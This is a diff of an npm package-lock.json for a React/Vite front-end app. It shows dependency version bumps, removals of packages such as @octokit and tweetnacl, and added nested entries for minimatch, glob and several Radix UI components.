         "rehype-raw": "^7.0.0",
         "sonner": "^2.0.7",
         "tailwind-merge": "^2.5.5",
-        "tweetnacl": "^1.0.3",
-        "tweetnacl-util": "^0.15.1",
         "xterm-readline": "^1.1.2",
-        "yaml": "^2.6.1",
+        "yaml": "^2.8.3",
         "zod": "^3.24.1",
         "zustand": "^5.0.2"
       },
@@ -129,13 +117,9 @@
         "@storybook/react-vite": "^9.1.9",
         "@stylistic/eslint-plugin": "^2.12.1",
         "@tailwindcss/postcss": "^4.1.14",
-        "@tailwindcss/typography": "^0.5.15",
         "@tanstack/eslint-plugin-router": "^1.87.6",
-        "@tanstack/router-devtools": "^1.87.9",
         "@tanstack/router-plugin": "^1.95.1",
-        "@types/argon2-browser": "^1.18.4",
         "@types/file-saver": "^2.0.7",
-        "@types/jsrp": "^0.2.6",
         "@types/ms": "^0.7.34",
         "@types/picomatch": "^3.0.1",
         "@types/qrcode": "^1.5.5",
@@ -161,7 +145,7 @@
         "tw-animate-css": "^1.4.0",
         "typescript": "~5.6.2",
         "typescript-eslint": "^8.15.0",
-        "vite": "^6.2.0",
+        "vite": "^6.4.2",
         "vite-plugin-node-polyfills": "^0.23.0",
         "vite-plugin-top-level-await": "^1.4.4",
         "vite-plugin-wasm": "^3.4.0",
@@ -510,9 +494,9 @@
       }
     },
     "node_modules/@casl/ability": {
-      "version": "6.7.2",
-      "resolved": "https://registry.npmjs.org/@casl/ability/-/ability-6.7.2.tgz",
-      "integrity": "sha512-KjKXlcjKbUz8dKw7PY56F7qlfOFgxTU6tnlJ8YrbDyWkJMIlHa6VRWzCD8RU20zbJUC1hExhOFggZjm6tf1mUw==",
+      "version": "6.8.0",
+      "resolved": "https://registry.npmjs.org/@casl/ability/-/ability-6.8.0.tgz",
+      "integrity": "sha512-Ipt4mzI4gSgnomFdaPjaLgY2MWuXqAEZLrU6qqWBB7khGiBBuuEp6ytYDnq09bRXqcjaeeHiaCvCGFbBA2SpvA==",
       "license": "MIT",
       "dependencies": {
         "@ucast/mongo2js": "^1.3.0"
@@ -1394,6 +1378,24 @@
         "url": "https://opencollective.com/eslint"
       }
     },
+    "node_modules/@eslint/eslintrc/node_modules/balanced-match": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz",
+      "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==",
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/@eslint/eslintrc/node_modules/brace-expansion": {
+      "version": "1.1.13",
+      "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.13.tgz",
+      "integrity": "sha512-9ZLprWS6EENmhEOpjCYW2c8VkmOvckIJZfkr7rBW6dObmfgJ/L1GpSYW5Hpo9lDz4D1+n0Ckz8rU7FwHDQiG/w==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "balanced-match": "^1.0.0",
+        "concat-map": "0.0.1"
+      }
+    },
     "node_modules/@eslint/eslintrc/node_modules/espree": {
       "version": "10.3.0",
       "resolved": "https://registry.npmjs.org/espree/-/espree-10.3.0.tgz",
@@ -1425,6 +1427,19 @@
         "url": "https://github.com/sponsors/sindresorhus"
       }
     },
+    "node_modules/@eslint/eslintrc/node_modules/minimatch": {
+      "version": "3.1.5",
+      "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.5.tgz",
+      "integrity": "sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w==",
+      "dev": true,
+      "license": "ISC",
+      "dependencies": {
+        "brace-expansion": "^1.1.7"
+      },
+      "engines": {
+        "node": "*"
+      }
+    },
     "node_modules/@eslint/js": {
       "version": "9.16.0",
       "resolved": "https://registry.npmjs.org/@eslint/js/-/js-9.16.0.tgz",
@@ -1611,6 +1626,37 @@
         "node": ">=10.10.0"
       }
     },
+    "node_modules/@humanwhocodes/config-array/node_modules/balanced-match": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz",
+      "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==",
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/@humanwhocodes/config-array/node_modules/brace-expansion": {
+      "version": "1.1.13",
+      "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.13.tgz",
+      "integrity": "sha512-9ZLprWS6EENmhEOpjCYW2c8VkmOvckIJZfkr7rBW6dObmfgJ/L1GpSYW5Hpo9lDz4D1+n0Ckz8rU7FwHDQiG/w==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "balanced-match": "^1.0.0",
+        "concat-map": "0.0.1"
+      }
+    },
+    "node_modules/@humanwhocodes/config-array/node_modules/minimatch": {
+      "version": "3.1.5",
+      "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.5.tgz",
+      "integrity": "sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w==",
+      "dev": true,
+      "license": "ISC",
+      "dependencies": {
+        "brace-expansion": "^1.1.7"
+      },
+      "engines": {
+        "node": "*"
+      }
+    },
     "node_modules/@humanwhocodes/module-importer": {
       "version": "1.0.1",
       "resolved": "https://registry.npmjs.org/@humanwhocodes/module-importer/-/module-importer-1.0.1.tgz",
@@ -1665,13 +1711,13 @@
       }
     },
     "node_modules/@isaacs/cliui/node_modules/strip-ansi": {
-      "version": "7.1.2",
-      "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.1.2.tgz",
-      "integrity": "sha512-gmBGslpoQJtgnMAvOVqGZpEz9dyoKTCzy2nfz/n8aIFhN/jCE/rCmcxabB6jOOHV+0WNnylOxaxBQPSvcWklhA==",
+      "version": "7.2.0",
+      "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.2.0.tgz",
+      "integrity": "sha512-yDPMNjp4WyfYBkHnjIRLfca1i6KMyGCtsVgoKe/z1+6vukgaENdgGBZt+ZmKPc4gavvEZ5OgHfHdrazhgNyG7w==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
-        "ansi-regex": "^6.0.1"
+        "ansi-regex": "^6.2.2"
       },
       "engines": {
         "node": ">=12"
@@ -1714,10 +1760,17 @@
         }
       }
     },
+    "node_modules/@joshwooding/vite-plugin-react-docgen-typescript/node_modules/balanced-match": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz",
+      "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==",
+      "dev": true,
+      "license": "MIT"
+    },
     "node_modules/@joshwooding/vite-plugin-react-docgen-typescript/node_modules/brace-expansion": {
-      "version": "2.0.2",
-      "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.2.tgz",
-      "integrity": "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==",
+      "version": "2.0.3",
+      "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.3.tgz",
+      "integrity": "sha512-MCV/fYJEbqx68aE58kv2cA/kiky1G8vux3OR6/jbS+jIMe/6fJWa0DTzJU7dqijOWYwHi1t29FlfYI9uytqlpA==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
@@ -1725,9 +1778,10 @@
       }
     },
     "node_modules/@joshwooding/vite-plugin-react-docgen-typescript/node_modules/glob": {
-      "version": "10.4.5",
-      "resolved": "https://registry.npmjs.org/glob/-/glob-10.4.5.tgz",
-      "integrity": "sha512-7Bv8RF0k6xjo7d4A/PxYLbUCfb6c+Vpd2/mB2yRDlew7Jb5hEXiCD9ibfO7wpk8i4sevK6DFny9h7EYbM3/sHg==",
+      "version": "10.5.0",
+      "resolved": "https://registry.npmjs.org/glob/-/glob-10.5.0.tgz",
+      "integrity": "sha512-DfXN8DfhJ7NH3Oe7cFmu3NCu1wKbkReJ8TorzSAFbSKrlNaQSKfIzqYqVY8zlbs2NLBbWpRiU52GX2PbaBVNkg==",
+      "deprecated": "Old versions of glob are not supported, and contain widely publicized security vulnerabilities, which have been fixed in the current version. Please update. Support for old versions may be purchased (at exorbitant rates) by contacting i@izs.me",
       "dev": true,
       "license": "ISC",
       "dependencies": {
@@ -1745,14 +1799,21 @@
         "url": "https://github.com/sponsors/isaacs"
       }
     },
+    "node_modules/@joshwooding/vite-plugin-react-docgen-typescript/node_modules/lru-cache": {
+      "version": "10.4.3",
+      "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-10.4.3.tgz",
+      "integrity": "sha512-JNAzZcXrCt42VGLuYz0zfAzDfAvJWW6AfYlDBQyDV5DClI2m5sAmK+OIO7s59XfsRsWHp02jAJrRadPRGTt6SQ==",
+      "dev": true,
+      "license": "ISC"
+    },
     "node_modules/@joshwooding/vite-plugin-react-docgen-typescript/node_modules/minimatch": {
-      "version": "9.0.5",
-      "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.5.tgz",
-      "integrity": "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==",
+      "version": "9.0.9",
+      "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.9.tgz",
+      "integrity": "sha512-OBwBN9AL4dqmETlpS2zasx+vTeWclWzkblfZk7KTA5j3jeOONz/tRCnZomUyvNg83wL5Zv9Ss6HMJXAgL8R2Yg==",
       "dev": true,
       "license": "ISC",
       "dependencies": {
-        "brace-expansion": "^2.0.1"
+        "brace-expansion": "^2.0.2"
       },
       "engines": {
         "node": ">=16 || 14 >=14.17"
@@ -1761,6 +1822,23 @@
         "url": "https://github.com/sponsors/isaacs"
       }
     },
+    "node_modules/@joshwooding/vite-plugin-react-docgen-typescript/node_modules/path-scurry": {
+      "version": "1.11.1",
+      "resolved": "https://registry.npmjs.org/path-scurry/-/path-scurry-1.11.1.tgz",
+      "integrity": "sha512-Xa4Nw17FS9ApQFJ9umLiJS4orGjm7ZzwUrwamcGQuHSzDyth9boKDaycYdDcZDuqYATXw4HFXgaqWTctW/v1HA==",
+      "dev": true,
+      "license": "BlueOak-1.0.0",
+      "dependencies": {
+        "lru-cache": "^10.2.0",
+        "minipass": "^5.0.0 || ^6.0.2 || ^7.0.0"
+      },
+      "engines": {
+        "node": ">=16 || 14 >=14.18"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/isaacs"
+      }
+    },
     "node_modules/@jridgewell/gen-mapping": {
       "version": "0.3.13",
       "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.13.tgz",
@@ -2199,160 +2277,6 @@
         "node": ">=12.4.0"
       }
     },
-    "node_modules/@octokit/auth-token": {
-      "version": "5.1.1",
-      "resolved": "https://registry.npmjs.org/@octokit/auth-token/-/auth-token-5.1.1.tgz",
-      "integrity": "sha512-rh3G3wDO8J9wSjfI436JUKzHIxq8NaiL0tVeB2aXmG6p/9859aUOAjA9pmSPNGGZxfwmaJ9ozOJImuNVJdpvbA==",
-      "license": "MIT",
-      "engines": {
-        "node": ">= 18"
-      }
-    },
-    "node_modules/@octokit/core": {
-      "version": "6.1.2",
-      "resolved": "https://registry.npmjs.org/@octokit/core/-/core-6.1.2.tgz",
-      "integrity": "sha512-hEb7Ma4cGJGEUNOAVmyfdB/3WirWMg5hDuNFVejGEDFqupeOysLc2sG6HJxY2etBp5YQu5Wtxwi020jS9xlUwg==",
-      "license": "MIT",
-      "dependencies": {
-        "@octokit/auth-token": "^5.0.0",
-        "@octokit/graphql": "^8.0.0",
-        "@octokit/request": "^9.0.0",
-        "@octokit/request-error": "^6.0.1",
-        "@octokit/types": "^13.0.0",
-        "before-after-hook": "^3.0.2",
-        "universal-user-agent": "^7.0.0"
-      },
-      "engines": {
-        "node": ">= 18"
-      }
-    },
-    "node_modules/@octokit/endpoint": {
-      "version": "10.1.3",
-      "resolved": "https://registry.npmjs.org/@octokit/endpoint/-/endpoint-10.1.3.tgz",
-      "integrity": "sha512-nBRBMpKPhQUxCsQQeW+rCJ/OPSMcj3g0nfHn01zGYZXuNDvvXudF/TYY6APj5THlurerpFN4a/dQAIAaM6BYhA==",
-      "license": "MIT",
-      "dependencies": {
-        "@octokit/types": "^13.6.2",
-        "universal-user-agent": "^7.0.2"
-      },
-      "engines": {
-        "node": ">= 18"
-      }
-    },
-    "node_modules/@octokit/graphql": {
-      "version": "8.1.1",
-      "resolved": "https://registry.npmjs.org/@octokit/graphql/-/graphql-8.1.1.tgz",
-      "integrity": "sha512-ukiRmuHTi6ebQx/HFRCXKbDlOh/7xEV6QUXaE7MJEKGNAncGI/STSbOkl12qVXZrfZdpXctx5O9X1AIaebiDBg==",
-      "license": "MIT",
-      "dependencies": {
-        "@octokit/request": "^9.0.0",
-        "@octokit/types": "^13.0.0",
-        "universal-user-agent": "^7.0.0"
-      },
-      "engines": {
-        "node": ">= 18"
-      }
-    },
-    "node_modules/@octokit/openapi-types": {
-      "version": "24.2.0",
-      "resolved": "https://registry.npmjs.org/@octokit/openapi-types/-/openapi-types-24.2.0.tgz",
-      "integrity": "sha512-9sIH3nSUttelJSXUrmGzl7QUBFul0/mB8HRYl3fOlgHbIWG+WnYDXU3v/2zMtAvuzZ/ed00Ei6on975FhBfzrg==",
-      "license": "MIT"
-    },
-    "node_modules/@octokit/plugin-paginate-rest": {
-      "version": "11.6.0",
-      "resolved": "https://registry.npmjs.org/@octokit/plugin-paginate-rest/-/plugin-paginate-rest-11.6.0.tgz",
-      "integrity": "sha512-n5KPteiF7pWKgBIBJSk8qzoZWcUkza2O6A0za97pMGVrGfPdltxrfmfF5GucHYvHGZD8BdaZmmHGz5cX/3gdpw==",
-      "license": "MIT",
-      "dependencies": {
-        "@octokit/types": "^13.10.0"
-      },
-      "engines": {
-        "node": ">= 18"
-      },
-      "peerDependencies": {
-        "@octokit/core": ">=6"
-      }
-    },
-    "node_modules/@octokit/plugin-request-log": {
-      "version": "5.3.1",
-      "resolved": "https://registry.npmjs.org/@octokit/plugin-request-log/-/plugin-request-log-5.3.1.tgz",
-      "integrity": "sha512-n/lNeCtq+9ofhC15xzmJCNKP2BWTv8Ih2TTy+jatNCCq/gQP/V7rK3fjIfuz0pDWDALO/o/4QY4hyOF6TQQFUw==",
-      "license": "MIT",
-      "engines": {
-        "node": ">= 18"
-      },
-      "peerDependencies": {
-        "@octokit/core": ">=6"
-      }
-    },
-    "node_modules/@octokit/plugin-rest-endpoint-methods": {
-      "version": "13.2.6",
-      "resolved": "https://registry.npmjs.org/@octokit/plugin-rest-endpoint-methods/-/plugin-rest-endpoint-methods-13.2.6.tgz",
-      "integrity": "sha512-wMsdyHMjSfKjGINkdGKki06VEkgdEldIGstIEyGX0wbYHGByOwN/KiM+hAAlUwAtPkP3gvXtVQA9L3ITdV2tVw==",
-      "license": "MIT",
-      "dependencies": {
-        "@octokit/types": "^13.6.1"
-      },
-      "engines": {
-        "node": ">= 18"
-      },
-      "peerDependencies": {
-        "@octokit/core": ">=6"
-      }
-    },
-    "node_modules/@octokit/request": {
-      "version": "9.2.2",
-      "resolved": "https://registry.npmjs.org/@octokit/request/-/request-9.2.2.tgz",
-      "integrity": "sha512-dZl0ZHx6gOQGcffgm1/Sf6JfEpmh34v3Af2Uci02vzUYz6qEN6zepoRtmybWXIGXFIK8K9ylE3b+duCWqhArtg==",
-      "license": "MIT",
-      "dependencies": {
-        "@octokit/endpoint": "^10.1.3",
-        "@octokit/request-error": "^6.1.7",
-        "@octokit/types": "^13.6.2",
-        "fast-content-type-parse": "^2.0.0",
-        "universal-user-agent": "^7.0.2"
-      },
-      "engines": {
-        "node": ">= 18"
-      }
-    },
-    "node_modules/@octokit/request-error": {
-      "version": "6.1.7",
-      "resolved": "https://registry.npmjs.org/@octokit/request-error/-/request-error-6.1.7.tgz",
-      "integrity": "sha512-69NIppAwaauwZv6aOzb+VVLwt+0havz9GT5YplkeJv7fG7a40qpLt/yZKyiDxAhgz0EtgNdNcb96Z0u+Zyuy2g==",
-      "license": "MIT",
-      "dependencies": {
-        "@octokit/types": "^13.6.2"
-      },
-      "engines": {
-        "node": ">= 18"
-      }
-    },
-    "node_modules/@octokit/rest": {
-      "version": "21.0.2",
-      "resolved": "https://registry.npmjs.org/@octokit/rest/-/rest-21.0.2.tgz",
-      "integrity": "sha512-+CiLisCoyWmYicH25y1cDfCrv41kRSvTq6pPWtRroRJzhsCZWZyCqGyI8foJT5LmScADSwRAnr/xo+eewL04wQ==",
-      "license": "MIT",
-      "dependencies": {
-        "@octokit/core": "^6.1.2",
-        "@octokit/plugin-paginate-rest": "^11.0.0",
-        "@octokit/plugin-request-log": "^5.3.1",
-        "@octokit/plugin-rest-endpoint-methods": "^13.0.0"
-      },
-      "engines": {
-        "node": ">= 18"
-      }
-    },
-    "node_modules/@octokit/types": {
-      "version": "13.10.0",
-      "resolved": "https://registry.npmjs.org/@octokit/types/-/types-13.10.0.tgz",
-      "integrity": "sha512-ifLaO34EbbPj0Xgro4G5lP5asESjwHracYJvVaPIyXMuiuXLlhic3S47cBdTb+jfODkTE5YtGCLt3Ay3+J97sA==",
-      "license": "MIT",
-      "dependencies": {
-        "@octokit/openapi-types": "^24.2.0"
-      }
-    },
     "node_modules/@opentelemetry/api": {
       "version": "1.9.0",
       "resolved": "https://registry.npmjs.org/@opentelemetry/api/-/api-1.9.0.tgz",
@@ -3119,18 +3043,26 @@
         }
       }
     },
-    "node_modules/@radix-ui/react-context-menu": {
-      "version": "2.2.16",
-      "resolved": "https://registry.npmjs.org/@radix-ui/react-context-menu/-/react-context-menu-2.2.16.tgz",
-      "integrity": "sha512-O8morBEW+HsVG28gYDZPTrT9UUovQUlJue5YO836tiTJhuIWBm/zQHc7j388sHWtdH/xUZurK9olD2+pcqx5ww==",
+    "node_modules/@radix-ui/react-dialog": {
+      "version": "1.1.3",
+      "resolved": "https://registry.npmjs.org/@radix-ui/react-dialog/-/react-dialog-1.1.3.tgz",
+      "integrity": "sha512-ujGvqQNkZ0J7caQyl8XuZRj2/TIrYcOGwqz5TeD1OMcCdfBuEMP0D12ve+8J5F9XuNUth3FAKFWo/wt0E/GJrQ==",
       "license": "MIT",
       "dependencies": {
-        "@radix-ui/primitive": "1.1.3",
-        "@radix-ui/react-context": "1.1.2",
-        "@radix-ui/react-menu": "2.1.16",
-        "@radix-ui/react-primitive": "2.1.3",
-        "@radix-ui/react-use-callback-ref": "1.1.1",
-        "@radix-ui/react-use-controllable-state": "1.2.2"
+        "@radix-ui/primitive": "1.1.1",
+        "@radix-ui/react-compose-refs": "1.1.1",
+        "@radix-ui/react-context": "1.1.1",
+        "@radix-ui/react-dismissable-layer": "1.1.2",
+        "@radix-ui/react-focus-guards": "1.1.1",
+        "@radix-ui/react-focus-scope": "1.1.1",
+        "@radix-ui/react-id": "1.1.0",
+        "@radix-ui/react-portal": "1.1.3",
+        "@radix-ui/react-presence": "1.1.2",
+        "@radix-ui/react-primitive": "2.0.1",
+        "@radix-ui/react-slot": "1.1.1",
+        "@radix-ui/react-use-controllable-state": "1.1.0",
+        "aria-hidden": "^1.1.1",
+        "react-remove-scroll": "2.6.0"
       },
       "peerDependencies": {
         "@types/react": "*",
@@ -3147,45 +3079,50 @@
         }
       }
     },
-    "node_modules/@radix-ui/react-context-menu/node_modules/@radix-ui/primitive": {
-      "version": "1.1.3",
-      "resolved": "https://registry.npmjs.org/@radix-ui/primitive/-/primitive-1.1.3.tgz",
-      "integrity": "sha512-JTF99U/6XIjCBo0wqkU5sK10glYe27MRRsfwoiq5zzOEZLHU3A3KCMa5X/azekYRCJ0HlwI0crAXS/5dEHTzDg==",
-      "license": "MIT"
-    },
-    "node_modules/@radix-ui/react-context-menu/node_modules/@radix-ui/react-arrow": {
-      "version": "1.1.7",
-      "resolved": "https://registry.npmjs.org/@radix-ui/react-arrow/-/react-arrow-1.1.7.tgz",
-      "integrity": "sha512-F+M1tLhO+mlQaOWspE8Wstg+z6PwxwRd8oQ8IXceWz92kfAmalTRf0EjrouQeo7QssEPfCn05B4Ihs1K9WQ/7w==",
+    "node_modules/@radix-ui/react-dialog/node_modules/@radix-ui/react-slot": {
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/@radix-ui/react-slot/-/react-slot-1.1.1.tgz",
+      "integrity": "sha512-RApLLOcINYJA+dMVbOju7MYv1Mb2EBp2nH4HdDzXTSyaR5optlm6Otrz1euW3HbdOR8UmmFK06TD+A9frYWv+g==",
       "license": "MIT",
       "dependencies": {
-        "@radix-ui/react-primitive": "2.1.3"
+        "@radix-ui/react-compose-refs": "1.1.1"
       },
       "peerDependencies": {
         "@types/react": "*",
-        "@types/react-dom": "*",
-        "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
-        "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
+        "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
       },
       "peerDependenciesMeta": {
         "@types/react": {
           "optional": true
-        },
-        "@types/react-dom": {
+        }
+      }
+    },
+    "node_modules/@radix-ui/react-direction": {
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/@radix-ui/react-direction/-/react-direction-1.1.1.tgz",
+      "integrity": "sha512-1UEWRX6jnOA2y4H5WczZ44gOOjTEmlqv1uNW4GAJEO5+bauCBhv8snY65Iw5/VOS/ghKN9gr2KjnLKxrsvoMVw==",
+      "license": "MIT",
+      "peerDependencies": {
+        "@types/react": "*",
+        "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
+      },
+      "peerDependenciesMeta": {
+        "@types/react": {
           "optional": true
         }
       }
     },
-    "node_modules/@radix-ui/react-context-menu/node_modules/@radix-ui/react-collection": {
-      "version": "1.1.7",
-      "resolved": "https://registry.npmjs.org/@radix-ui/react-collection/-/react-collection-1.1.7.tgz",
-      "integrity": "sha512-Fh9rGN0MoI4ZFUNyfFVNU4y9LUz93u9/0K+yLgA2bwRojxM8JU1DyvvMBabnZPBgMWREAJvU2jjVzq+LrFUglw==",
+    "node_modules/@radix-ui/react-dismissable-layer": {
+      "version": "1.1.2",
+      "resolved": "https://registry.npmjs.org/@radix-ui/react-dismissable-layer/-/react-dismissable-layer-1.1.2.tgz",
+      "integrity": "sha512-kEHnlhv7wUggvhuJPkyw4qspXLJOdYoAP4dO2c8ngGuXTq1w/HZp1YeVB+NQ2KbH1iEG+pvOCGYSqh9HZOz6hg==",
       "license": "MIT",
       "dependencies": {
-        "@radix-ui/react-compose-refs": "1.1.2",
-        "@radix-ui/react-context": "1.1.2",
-        "@radix-ui/react-primitive": "2.1.3",
-        "@radix-ui/react-slot": "1.2.3"
+        "@radix-ui/primitive": "1.1.1",
+        "@radix-ui/react-compose-refs": "1.1.1",
+        "@radix-ui/react-primitive": "2.0.1",
+        "@radix-ui/react-use-callback-ref": "1.1.0",
+        "@radix-ui/react-use-escape-keydown": "1.1.0"
       },
       "peerDependencies": {
         "@types/react": "*",
@@ -3202,558 +3139,39 @@
         }
       }
     },
-    "node_modules/@radix-ui/react-context-menu/node_modules/@radix-ui/react-compose-refs": {
-      "version": "1.1.2",
-      "resolved": "https://registry.npmjs.org/@radix-ui/react-compose-refs/-/react-compose-refs-1.1.2.tgz",
-      "integrity": "sha512-z4eqJvfiNnFMHIIvXP3CY57y2WJs5g2v3X0zm9mEJkrkNv4rDxu+sg9Jh8EkXyeqBkB7SOcboo9dMVqhyrACIg==",
+    "node_modules/@radix-ui/react-dropdown-menu": {
+      "version": "2.1.3",
+      "resolved": "https://registry.npmjs.org/@radix-ui/react-dropdown-menu/-/react-dropdown-menu-2.1.3.tgz",
+      "integrity": "sha512-eKyAfA9e4HOavzyGJC6kiDIlHMPzAU0zqSqTg+VwS0Okvb9nkTo7L4TugkCUqM3I06ciSpdtYQ73cgB7tyUgVw==",
       "license": "MIT",
+      "dependencies": {
+        "@radix-ui/primitive": "1.1.1",
+        "@radix-ui/react-compose-refs": "1.1.1",
+        "@radix-ui/react-context": "1.1.1",
+        "@radix-ui/react-id": "1.1.0",
+        "@radix-ui/react-menu": "2.1.3",
+        "@radix-ui/react-primitive": "2.0.1",
+        "@radix-ui/react-use-controllable-state": "1.1.0"
+      },
       "peerDependencies": {
         "@types/react": "*",
-        "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
+        "@types/react-dom": "*",
+        "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
+        "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
       },
       "peerDependenciesMeta": {
         "@types/react": {
           "optional": true
+        },
+        "@types/react-dom": {
+          "optional": true
         }
       }
     },
-    "node_modules/@radix-ui/react-context-menu/node_modules/@radix-ui/react-context": {
-      "version": "1.1.2",
-      "resolved": "https://registry.npmjs.org/@radix-ui/react-context/-/react-context-1.1.2.tgz",
-      "integrity": "sha512-jCi/QKUM2r1Ju5a3J64TH2A5SpKAgh0LpknyqdQ4m6DCV0xJ2HG1xARRwNGPQfi1SLdLWZ1OJz6F4OMBBNiGJA==",
-      "license": "MIT",
-      "peerDependencies": {
-        "@types/react": "*",
-        "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
-      },
-      "peerDependenciesMeta": {
-        "@types/react": {
-          "optional": true
-        }
-      }
-    },
-    "node_modules/@radix-ui/react-context-menu/node_modules/@radix-ui/react-dismissable-layer": {
-      "version": "1.1.11",
-      "resolved": "https://registry.npmjs.org/@radix-ui/react-dismissable-layer/-/react-dismissable-layer-1.1.11.tgz",
-      "integrity": "sha512-Nqcp+t5cTB8BinFkZgXiMJniQH0PsUt2k51FUhbdfeKvc4ACcG2uQniY/8+h1Yv6Kza4Q7lD7PQV0z0oicE0Mg==",
-      "license": "MIT",
-      "dependencies": {
-        "@radix-ui/primitive": "1.1.3",
-        "@radix-ui/react-compose-refs": "1.1.2",
-        "@radix-ui/react-primitive": "2.1.3",
-        "@radix-ui/react-use-callback-ref": "1.1.1",
-        "@radix-ui/react-use-escape-keydown": "1.1.1"
-      },
-      "peerDependencies": {
-        "@types/react": "*",
-        "@types/react-dom": "*",
-        "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
-        "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
-      },
-      "peerDependenciesMeta": {
-        "@types/react": {
-          "optional": true
-        },
-        "@types/react-dom": {
-          "optional": true
-        }
-      }
-    },
-    "node_modules/@radix-ui/react-context-menu/node_modules/@radix-ui/react-focus-guards": {
-      "version": "1.1.3",
-      "resolved": "https://registry.npmjs.org/@radix-ui/react-focus-guards/-/react-focus-guards-1.1.3.tgz",
-      "integrity": "sha512-0rFg/Rj2Q62NCm62jZw0QX7a3sz6QCQU0LpZdNrJX8byRGaGVTqbrW9jAoIAHyMQqsNpeZ81YgSizOt5WXq0Pw==",
-      "license": "MIT",
-      "peerDependencies": {
-        "@types/react": "*",
-        "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
-      },
-      "peerDependenciesMeta": {
-        "@types/react": {
-          "optional": true
-        }
-      }
-    },
-    "node_modules/@radix-ui/react-context-menu/node_modules/@radix-ui/react-focus-scope": {
-      "version": "1.1.7",
-      "resolved": "https://registry.npmjs.org/@radix-ui/react-focus-scope/-/react-focus-scope-1.1.7.tgz",
-      "integrity": "sha512-t2ODlkXBQyn7jkl6TNaw/MtVEVvIGelJDCG41Okq/KwUsJBwQ4XVZsHAVUkK4mBv3ewiAS3PGuUWuY2BoK4ZUw==",
-      "license": "MIT",
-      "dependencies": {
-        "@radix-ui/react-compose-refs": "1.1.2",
-        "@radix-ui/react-primitive": "2.1.3",
-        "@radix-ui/react-use-callback-ref": "1.1.1"
-      },
-      "peerDependencies": {
-        "@types/react": "*",
-        "@types/react-dom": "*",
-        "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
-        "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
-      },
-      "peerDependenciesMeta": {
-        "@types/react": {
-          "optional": true
-        },
-        "@types/react-dom": {
-          "optional": true
-        }
-      }
-    },
-    "node_modules/@radix-ui/react-context-menu/node_modules/@radix-ui/react-id": {
-      "version": "1.1.1",
-      "resolved": "https://registry.npmjs.org/@radix-ui/react-id/-/react-id-1.1.1.tgz",
-      "integrity": "sha512-kGkGegYIdQsOb4XjsfM97rXsiHaBwco+hFI66oO4s9LU+PLAC5oJ7khdOVFxkhsmlbpUqDAvXw11CluXP+jkHg==",
-      "license": "MIT",
-      "dependencies": {
-        "@radix-ui/react-use-layout-effect": "1.1.1"
-      },
-      "peerDependencies": {
-        "@types/react": "*",
-        "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
-      },
-      "peerDependenciesMeta": {
-        "@types/react": {
-          "optional": true
-        }
-      }
-    },
